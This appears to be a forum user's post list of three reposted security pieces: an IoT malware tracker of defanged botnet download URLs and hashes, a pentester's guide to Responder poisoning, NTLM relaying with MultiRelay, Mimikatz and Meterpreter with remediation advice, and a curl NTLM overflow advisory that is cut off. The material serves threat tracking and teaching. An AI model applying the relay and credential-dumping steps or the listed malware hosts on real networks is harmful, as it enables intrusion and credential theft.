-
Posts
18785 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
IoT-MalwareTracker This is a simple IoT malware tracker which i'm trying to build. I'm just trying to update the information here with whatever free time i have. The passwords to all the samples is infected29A Date URL sha256 Country AS 22nd July 2018 hxxp://159[.]89[.]30[.]133/weed.sh 91a512ced0757caae2b22a0bf320c00a88d3e5b01e55e1b77218895f62ff06e0 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedntpd fd2af786e791343489fb7a45958d4ecff354a908ace4d4894d5de41960b41636 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedsshd cfe4f8f9bd48ad5111a16b8525dc34111b73b6d064c37d787a4c2d0e40ab7523 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedopenssh cc58874b59b75b578f988cb2d0b547541fc703a4a1e3fe46f4e3836dc3c262ee United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedbash 7e5b33144ec3bc6ad66ab3fa18b026e2a9717b49cf0325555aaa973b6c05fcfb United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedtftp 8a10ef274a48606ca16d84f58f083c508c70ed97116a2eea432650d2995b750c United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedwget 176d1b9d980001665c172ec82769ae8d2712c35077443aa058ade0725fb90519 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedcron b44fe55c902b5410649501966277ae735eb70a1e3fd16f3d0e70302d32412303 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedftp a08dd92eef21adf7a71e6415c80e16ea3185c126fa6340bdeacd7f30d60e9791 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedpftp 4f76f7720cfecfe4b8ecc57a375e02de7645f58b5ad0e0dd5c5df277dbca911a United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedsh 056c0f7ca8baab24239817c5b8dc77e1f3db3f3c4775f1b512d6f8215e7a61fb United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedshit 34e26e4dedfa778dc9e23c31d308f7b31a91cd91f35d0b74a697245c689004fd United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedapache2 69009ff729dd2b832a10522dab4843849d33dd186b5f6d94e9a86a7fa81d5df6 United States AS14061 22nd July 2018 hxxp://51[.]15[.]242[.]224/sus.sh e9928a83c2ca67dcd984f07b3cd61e1685009eb5791b2f3cec4c4e92fd2fcfd9 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.ntpd 950cef23132aaa9ae1f1876071be8198dc75ce860c62bfae539f7701524620ef France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.sshd 7d6bbbf531a6635a490f225a1e07dd13b298c22ae596bfb56dfa9ec5daaf8bde France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.openssh ae007a08d731f30e3da9db0e8cc6a7c9266ddb09c40aaa84fa3d437e9b41ba7d France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.bash fc096daaea7c9435c5695f13e3c13e2fddd6783b51acea91cad6a1761e2ac59b France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.tftp 593c73769b4dcda95c7adeac9cf987eda0cf957c54e7631d324e73ffda66353f France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.wget 8a2a5152659d73a70e7ef51179b5fc65ba6f32effe605b8266b6a7ae19302a12 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.cron 7935b2bd5a787dc25d5546517d31aafca2a90f5a87848fa101a063990139dab1 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.ftp b48ee92f12fe2c66e6d992df309274abdfa35deebc01457b9dcd5b8304ff1c4d France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.pftp 1aa9ce761ff20adbf89479fe9915fce99c7ec6b426758a28d63fb48adb6e15a2 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.sh b6ac90dd0f62bacffc0ac6c62d5803a3540e20c750db81676ad5b9c458fbe698 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.nut 84257986F606F34E5B2C60ABBF8447A7118FF7457E05BBD80FFE4FA8E149BC33 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.apache2 20c18f126a894e0c339c211db2d0a3ce98e025e9d5126ccbcd94799218b7adac France AS12876 22nd July 2018 hxxp://178[.]128[.]69[.]34/bins.sh c784d4c6c68d1e67bc1239737290a280a76355f9716e5eac11a51be37782c6c8 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/earyzq 4253b2c5f3ad806904092d1ceb53cdd19edb6f135c0c35087e81207cca94ef91 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/cemtop 0293585ae97eab40b6308a3aca59d52a4ba7cfb87ad8d3058d57f97869b09b1e United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/vtyhat 043279fe16221b562dd01a014a4432ea3ff96744c284734788ea12e47ae9ff61 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/vvglma bfcc76e87bbfd966e0dd374bd391626d4b8795a4b868aa41df4bda9b5786e078 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/nvitpj eff67d9031023f3b458426464f093c617a79825c40c4e400e34f82c1d1d35b5b United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/razdzn 47a57f1b41bbcf745fff2952a387f11ab30f2469e0858461381b604bdd16d2fb United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/lnkfmx e440843aa8871f42a0d6603ca1d24fb9fc4933b5c4ce8767709b6a752a739d81 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/qvmxvl 224a499df8fd0f058cebb6182786b5cf69c21ddbf7d29bc5abce7d0cd2a1aa73 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/ajoomk 2df6038cf8fd04967b01f9a7c7c7bdf751729968aff390837c4256df62cc9f5d United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/fwdfvf d4b0fb39f9633fab20df70580a64966d5d1194764cf52a12c4706d9f93ee007f United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/atxhua 324578c1cecedde647533d44311aab8980f3244cee7bac19312ead46174e72e4 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/qtmzbn 76443e252214b6f72db1c4ecfdbd25b52a8c5060838b1bb098e85b9b57b483d4 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/8UsA.sh 6136aefb04b8a2738d891950e54b090d636a7646fc127b0945cdb31d10668f25 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.x86 144041b308de97ac2ea0ad2b0b6c9d6a34b28568aea96928e51e06d93b7badf8 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.mips af57f0667f34d8fd934593b38b23adf9b04ce682866074b09f2bdd9bb5990750 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.mpsl 79de302ed01caa842f55c3cfe62b8cca26f121c05d02216ee0ea477b99eb648f United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm fe9e7547792a4921cac9525f7398b1e7eeda5f78963d47c67bac98f5cd5221e6 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm5 57e16cfe965e07f965c5a753c531aa6854051ce785926e3aafa598e16862f7d1 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm6 3c087811f356c9b1ccadf29df7f83216cf04c0d868a67343f9b2b1b635c2565d United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm7 7c87634abcfccba1c1953fec54a0525baa303efcafea7b7b2f77f4bc7383d98e United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.ppc b81faea9925ef49076bc33d9611efc239a50821511536bdebbdbdee9b54631e6 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.m68k 50b18e211c5e87c0d83b01a04f2ca71d977cb8f880a5cf3d25b63de265d813c2 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.sh4 e06aa7b9d759fe67daf13904345a4674c41f2f3c92928ebdb2d663fa8d7d994d United States AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.x86 467553aa6428811d437e7a72cd32bb6697dee4f5ac27b2020443e879785f6e3e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.mips 754cbd21ea8377e4b64215be00e22ceb7f8da2ae862fdde3d5e472dfe209aa05 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.mpsl 2915111b6f65b6b95aeff2b0114e0054a689254b3b6488c72a84245b97f610e5 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm5 8549458fd199c5aa26348c6cea5c9c40ff4909375250d49798db6264e5b8be0e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm6 83e895e14889abe31719aa7f3c5b09ebbb8e3723ac1593f542909adc38a2013e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm7 95b6ae6af1d4789660c48bd61cdb58ece0e83d58d5d5d1ec329849aece808bf2 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.ppc 34d9bf5ed619ddfa2e98f57e1ede36d391425d273c86cfb4701aadb46d635e57 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.m68k 333ddfb652baa92ecb2927ba61cafa2130f1a7616643f024ac2d904d52ec87a2 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.sh4 25e886840ce427ab9ac9e9341272df389f0d651a84c3b670a71874efaa1e59e5 United Kingdom AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/8UsA.sh e80c4bab3dc21ca11637aa1c0e9addccc8ddd4f33ddf8b947a28670e4cc44c35 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.x86 c0f2bf1c39868bca880c844f71c05b945c1c30c9edaa02b3f97c94fce3311538 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.mips b56ee4a8a8414536a7c77bd7392e4ebff35028098ccb29a01db806358cf87d1d Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.mpsl 7ce6b1fcb4719e1a705578d4ee22fe69e505d911af00e1d9d8762a7ed992c207 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm5 40dc3586130fbbcf0ae4539a8261b6335f5495e6eaed94e0296bd2b48a5b86b3 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm6 10ef62df812e837d4f79edaf58d84d2333994d15365b2b15e40f79f5b6d4847c Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm7 fa048253c10a16610e571e1c92be90356d8ea51b6873be1605f715cd8d8bda09 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.ppc cab9d7ea81cbe4c3aef8cdba0154252b1af570d2c0dc99aa189de54b1842288d Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.m68k 5aafcdcbf5858d2fb62624fc71458ef6bd49984d32fa170152b1491add604dbc Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.sh4 c70b026973284c72ea1f52fc47b0c2f52c7822dc1c2b0d55393806e9c67248f1 Netherlands AS14061 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.x86 e647f3a128b00681e89106f5170f12ea1b726caf249f74466fe3c7577dd9af42 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.mips 06691b42200621bcb4a0a4c03683d55a17aee8e63ea1dd5cdd5abc86e1f96ca7 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.mpsl e6a4747c560bd44d1376d90f704dcfd1cff3732790e4af915e2508a619170fb8 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm5 854aaa734b59a036cf7a9b33fa6a907a1980c3df518eebb80ad4b86824f27cbc Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm6 4ef098db29a4bd8ea089fb28c93a4bb334ac75e3a1edc4d518a5a8bc5698233d Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm7 525cf5dba31a16f957911fd758b446406f1913e942cc768da613c2ba36491968 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.ppc 9c30cf9c25c2ae0a5e8ec184c5882e4ed4b26e12d95b4b85ea5d0e3f4479a4b3 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.m68k e347099c77b18d19fdd669d39b2a9305a7bcaa188c3a0407442724e630a17ace Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.sh4 035e98156610701087735e1650ef9b9aff6f8d4bc547e3162fe656c4123a1551 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/bins.sh 1b8ec1fbc0785c1a063aa17f780a392ab9c71d5e533a74100022a89a0e05b5ed Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/ntpd 22def3121c9664dfa04cd5480e4e048e577f62c29c969104ce17e153e347a1c7 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/sshd db58ae8d7f3c9202565bf948eddb0427424a8f0c2e013ca7711a2aca652c25c6 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/openssh 8ce02f3bbfd35cdc3bffc08a34083063bcfdc26ca3c31b04dfde55ddf2d4f8b6 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/bash d603d940d24334ce5672df6d6efe2f91b19ced4ddbc6d2bf722e666c24f19481 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/tftp c99affb7627e137ccd01578081f125d197413ef2f5435ca7fa0f3f2adaf5df61 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/wget 0a3291644a58c2627cbf113ebfdf1157bdb99bcfc37c359305054f3f45c06a1c Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/cron 80442b286d4ed17539f683c052c55d8022660fed99d429b0043c2f42c7d8808f Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192ftp 58e75fe680ffd1a1d78e320eddf42e1186cdb8037a0e71f50d6639959c17f37b Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/pftp 3da09bc0345aa17b20791bc49b83b07cfe7197573f09f51a43064172b93cfdb5 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/sh a88a130ee98c072a296c377bf6485d810d9e0b7e5916685f2aa3d774e07645fc Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/nut 1eceaa03b32d91cb219c43f35e5da0633a60b75bf3dfe38a84ef32959aa7237c Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/apache2 54f1182e7db7cd6343c0bc87ff9adf65b2bd08293d5878efbfa532c1ad29fcf4 Italy AS31034 22nd July 2018 hxxp://159[.]203[.]78[.]145/bins.sh ce041cd1537ba25912aed8a5944cec6c1cb37fa327ab3f67cc875cb4f7caa56e United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.mips e96f54b4ecf71ba0aed3a0c7f12af6c50be5b09eccd1991e6e34a6595713c78d United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.mpsl 8fcb04ed1a81d45d70f359e576f9f75449b733c6232d2c625db83fe6469b9db0 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.sh4 89a9d724aadc9e9b8d7483bb9df2afa11c3eef1ed404ce8ea6dfa9118160c3f7 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.x86 0fbb8bd7b593225bf9c4545b93f6bb543212554da67c3229fdb29f3698776699 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.arm6 355159cfb22ae021aaf8fda0e7b48a8fc4036895c5866e5a41c38e0d1d5c9dd1 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.x32 a075d9ce69e35401ad2ec6088e85df4d0b2f10113d7df25bc3e188df4c0509cc United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.ppc 3164c8d56daa3c24513b6164512bf5923426e939c0557a31b773e4af9ebf2a3c United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.i586 ae1f7f9f1a875d12e68ad7cc48269f7d6c29ca563d6b221cf4186690a237e3c6 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.m68k 3987eca1904bfa41e8b5c6ae66b007c216832b923a7372e8f7d1b6a8f639621b United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.arm4 b880aa7a19dd9373d1d990ba75b5c338082f71d355a59cd01d787ce0f1646fe7 United States AS14061 22nd July 2018 hxxp://217[.]61[.]113[.]30/bins.sh c709139716180c26caae40d01e6edfbf4716b98d4e9a37322491412f9df7f23e United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/ntpd e3d96f764addb93459392ca4e82451ca8d60406e9c361e03ba36f39137f49a31 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/sshd 99825df2e8629c8cba55eb33e1accfa0f725e15a663b3ddf59a06f3c170d27bd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/openssh a882949feb1e4d44b3df69e7e3f7bbc7dd2ef64aeb15a78ebf37ee7a2314c2ef United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/bash 97736104d1aa9f365d1d2be512169057f5dd308a5cd858b22c032c7c605484ec United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/tftp de6999b43624d3e5b5748c3c4aa10804c096122d854421b064199ec240d758b7 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/wget 2e9aae8d7e87a9cf1eb67d80ca0aff85095dfbc35e0f5aee0648842cae873ab5 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/cron 2f8e1b5064cf08383debb5c0382a4e3e378bdbdd1068419ef78124d0868975cd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/ftp f9a2f6c79657a603c3c53448566e44933ed63263f1c430a5e0967a5d0526dc03 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/pftp 65ef0f3238fcacf574c0f78986feed47554f0fd5e6ba2cd5b964065e931c6fcd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/sh 39ad8da8cfcb05d5eada715301e89d36b803eff78f77c08150b59dff7b98b9cd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/[cpu] b0aa03bf0336d3a061e0a9201b802a5574c9e1b3c42f2c56352bb33a865bbabc United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/apache2 4af84347666492b031694ec9abad70d249e233399c99f9f8f68938aaed7d06c4 United Kingdom AS199883 22nd July 2018 hxxp://185[.]172[.]164[.]41/rt e5aa330103b5f0ecb945b0e268dfed88cbe70c1bd3442ac63271699d18bb38cf Netherlands AS62068 21st July 2018 hxxp://192[.]0[.]27[.]69/a21jj 0636d8749ecb285c293dc533c9b7690ba17ac7902488bf39164129a12d54c1c3 United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/do3309 7358b6fc402681a3585d7cd69763d4b8f0c3093d746b85a35205b77e5b26e13d United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/isu80 2815c35a00c6abadc22aa61b888cb144bc51458d08196794f15d06851d185b1d United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/s443ls 2409fb21fe377f7e12dda392f26d7c93b7715239169d362dd907fe499ab38ee9 United States AS11282 21st July 2018 hxxp://81[.]130[.]144[.]84:51074 a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3 United Kingdom AS2856 21st July 2018 hxxp://203[.]146[.]208[.]208/drago/images/.ssh/y.txt f729d996c6d71b0d376c19d20d0f4370a5e7c368767c84c57df84972be7731c4 Thailand AS4750 21st July 2018 hxxp://206[.]189[.]96[.]61/bins.sh b93a507811557dec81de6ab7b94397f481b12b5f4db29c81430bd2618b91c955 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/ntpd 86dc2584acb31cb834fab37f32a53df4312364ce93c7acace392db7c191ace73 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/sshd 1f73c3a5c9e316b36b77e5f3a4836556a8b6a722e8bbe0beba76e415be7d5fd9 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/openssh 1ab6bffea43e5df8ce091bff929a946afb888b76be0f1199f22f3d96bf7c0f0e United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/bash 136c895dd3f01d81bc0501a7f55d58261eb84a3edff26b591185afc53163921c United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/tftp 75143a69a9be96ed33b51658ce94e1bf3f378ad27f8e59f059e40ee29b2d09f2 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/wget 3bc39e903110c7514dd0615596d88a4ef76ee6b57dffb56b30633d41c9a5fc9f United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/cron dc2eb1b37cb6fa5b03e2e382a9bf00b2e05f2bae44af23822e41cd81754f890a United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/ftp 4ebcbaad48723151e3b40fd416863384ce8ec51239c1a8f93af90f13f2b475fc United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/pftp af558d24f48561787dadbd38002eb2fe45773954d15758fdfba244d8086126c6 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/sh 3273b592a0681ca683dde4326c865c1001d05a1470438b3af611a6f0937b4f87 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/apache2 5d4689b8e423b3edd2f30eb231eea09700f5bb193e471b87d1347c8021000e6c United States AS14061 Sursa: https://github.com/jacobsoo/IoT-MalwareTracker
-
May 3, 2017 Overview: Responder is a great tool that every pentester needs in their arsenal. If a client/target cannot resolve a name via DNS it will fall back to name resolution via LLMNR (introduced in Windows Vista) and NBT-NS. Now, assuming we have Responder running we will essentially say ‘yeah, this is me’ to all of the LLMNR and NBT-NS requests that we see, and then traffic will be directed to us. Great. In this brief overview we shall be touching on a couple of the common uses as well as new functionality recently introduced by @pythonresponder. Targeting specific host(s): If you want to target a specific IP/range of IPs, you can edit Responder.conf and change the RespondTo argument. This is extremely useful when you have a specific target in sight and don’t want to potentially cause network-wide disruption. Additionally, it is also possible to specify the NBT-NS/LLMNR name by altering the RespondToName argument, although this is something I have yet to fully experiment with. In the following screenshot we have limited attacks to the host 192.168.10.17. Listen only mode: You can use Responder in listen only mode, i.e. analyse, but don’t actively respond to any requests. This can be achieved using the -A parameter and again this is a useful feature to see how chatty the network is without actively targeting any hosts. Active attacks: In the following example the attacking IP address is 192.168.10.206 and we are targeting a single host 192.168.10.17 via SMB. This is a common scenario in which a user mistypes the name of a server, hence the DNS lookup fails and name resolution falls back to NBT-NS and LLMNR. From the above Wireshark output it’s possible to see that 192.168.10.17 sends a NBNS query to the broadcast address 192.168.255.255, and the attacking host 192.168.10.206 immediately replies stating that it is in fact file-share-123 and returns it’s own IP within the response. It is also possible to see within the Wireshark capture that immediately after the NBNS request/response the same process happens over LLMNR but using the registered multicast address of 224.0.0.252. The keen eyed readers will also see that this process is also performed over IPv6 and the Multicast address of FF02::1:3 is used (details also available from the above link). The outcome of this is that the victim now believes that we are indeed file-share-123 and attempts to establish communications over SMB (TCP 445). From here we can continue to steal the NTLMv2 hash for the affected user (in this instance a local user called default) for offline cracking. And this is the SMB negotiation viewed through Wireshark… There’s plenty more to play and experiment with in Responder, but for now we’re going to move onto some of the more recent features added to this project. Multi-relay attacks: This is one of the newer features that @pythonresponder introduced towards the end of 2016. Using this tool we can relay our NTLMv1/2 authentication to a specific target and then, during a successful attack, execute code. Before we get into the nitty gritty of this attack it should be stated that only privileged users are targeted by default (good reasoning behind this) and the target cannot have SMB signing in place. A nice script RunFinger.py has been packaged within the tools directory of Responder and this allows us to verify the latter on our target(s) before actively targeting any hosts (it will become clear why we are targeting 192.168.11.17 with RunFinger.py instead of 192.168.10.17 shortly). In preparation of this attack we need to disable the SMB and HTTP servers used by Responder otherwise we’ll get some conflicts between this and Multi-relay (example shown below). For this following example we’ll disable these specific services within the Responder.conf file by changing the relevant service to “Off”. Job done. Again, running Responder with default options it is possible to see that these two services are now disabled. We are now going to poison responses for the victim 192.168.10.17 (as in previous examples), but we are also now going to relay our session authentication to a 2nd host 192.168.11.17. The syntax for this tool is show below, where the IP is the address to which you want to relay authentication and hopefully obtain shell access: python MultiRelay.py -t 192.168.11.17 -u ALL In the following example the host is a default installation of Windows 10 and the victim user currently authenticated to 192.168.10.17 is a local administrator user named default. Within the below output it’s possible to see that this user is whitelisted (we specified -u ALL as a parameter), but access to the relayed host 192.168.11.17 is denied. Multi-relay is doing us a favour here and doesn’t continue to attempt to authenticate to the host which could potentially lock accounts out very quickly. Nice touch. Spoiler; both 192.168.10.17 and 192.168.11.17 have the same account/credentials configured. Viewing this in Wireshark reveals the following (heavily condensed view). So we have an administrative user (who actually has valid credentials on the host), but it’s not the default administrator account with RID 500. Let’s run the attack again, but this time we’ll target the local administrator account with RID 500. Ah, success! So we have successfully relayed authentication for the default RID 500 from the victim 192.168.10.17 and gained shell access on 192.168.11.17 as both hosts use the same local administrator account credentials. It should also be mentioned that both are domain members and not standalone workgroup based systems. The following Wireshark output shows only the smb traffic involved within this initial relay communication where we can clearly see the relay route 192.168.10.17 (poisoned victim) > 192.168.10.206 (attacker) > 192.168.11.17 (relay target). Multi-relay functionality: This is where Multi-relay now comes into its own. At the end of March this year @pythonresponder alongside @gentilkiwi added Mimikatz integration (amongst a few other fun tools) that makes obtaining credentials/hashes a breeze. Let’s experiment with these; we currently have a Multi-relay shell on 192.168.11.17 and we can easily invoke standard Mimikatz functions by using the mimi command (or mimi32 if we’re targeting a 32-bit host). Other useful functionality includes the super quick SMB scanner that can be used to find other potential targets within the network. A example of this is shown in the following screenshot from which a /16 range was supplied (our example network is a 192.168.0.0/16 with each 192.168.X.0/24 range having identical systems for student lab work). Let’s play with one last feature of Multi-relay and use this tool to spawn every pentesters favourite shell, Meterpreter. Firstly we’ll need to configure an appropriate listener in msf and for this example we will be using exploit/multi/script/web_delivery. Without going into specific detail about this exploit, this will be hosted on our attacking system 192.168.10.206, some basic options have been set and PowerShell has been configured as the target. Returning to the Multi-relay shell we can now run our favourite IEX command and hopefully pop some more shells. Notice that we’re not expecting any output here so the “something went wrong…” output can generally be ignored in this specific case. Returning to the msf web_delivery exploit we see some action and once the shell has landed we can use built-in Meterpreter tricks and/or post modules/functionality from within the msf framework as desired. Prevention & remediation activities: To tighten the security of your Windows systems the following tweaks can be made. Responder Disable LLMNR via group policy Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled Disable NBT-NS This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under “NetBIOS setting” select Disable NetBIOS over TCP/IP Alternatively this task can be accomplished through modifying the registry by navigating to the following key and changing the value to 2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\{$InterfaceID}\NetbiosOptions Multi-relay Enable SMB signing via group policy More details of SMB signing and the various values that can be defined can be found within the following links (a couple selected from a vast sea of information available from a quick Google search). It goes without saying that configurations will need to be thoroughly tested to ensure communication is unaffected and in a secure state. Sursa: https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
-
- 1
-
-
Yesterday curl released a security advisory for a vulnerability reported by Alex Nichols. The vulnerable code is in lib/curl_ntlm_core.c of libcurl and specifically in Curl_ntlm_core_mk_ntlmv2_hash() function. Below you see the vulnerable function. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* This creates the NTLMv2 hash by using NTLM hash as the key and Unicode * (uppercase UserName + Domain) as the data */ CURLcode Curl_ntlm_core_mk_ntlmv2_hash(const char *user, size_t userlen, const char *domain, size_t domlen, unsigned char *ntlmhash, unsigned char *ntlmv2hash) { /* Unicode representation */ size_t identity_len = (userlen + domlen) * 2; unsigned char *identity = malloc(identity_len); CURLcode result = CURLE_OK; if(!identity) return CURLE_OUT_OF_MEMORY; ascii_uppercase_to_unicode_le(identity, user, userlen); ascii_to_unicode_le(identity + (userlen << 1), domain, domlen); result = Curl_hmac_md5(ntlmhash, 16, identity, curlx_uztoui(identity_len), ntlmv2hash); free(identity); return result; } The “identity_len” is calculating the sum of the username and password lengths, and multiplies the result by two. Then, the result is used to allocate a heap buffer via malloc() and the subsequent calls use the newly allocated “identity” heap buffer. However, if the username and password length is larger than 2GB on architectures were “size_t” data type is 32-bit the 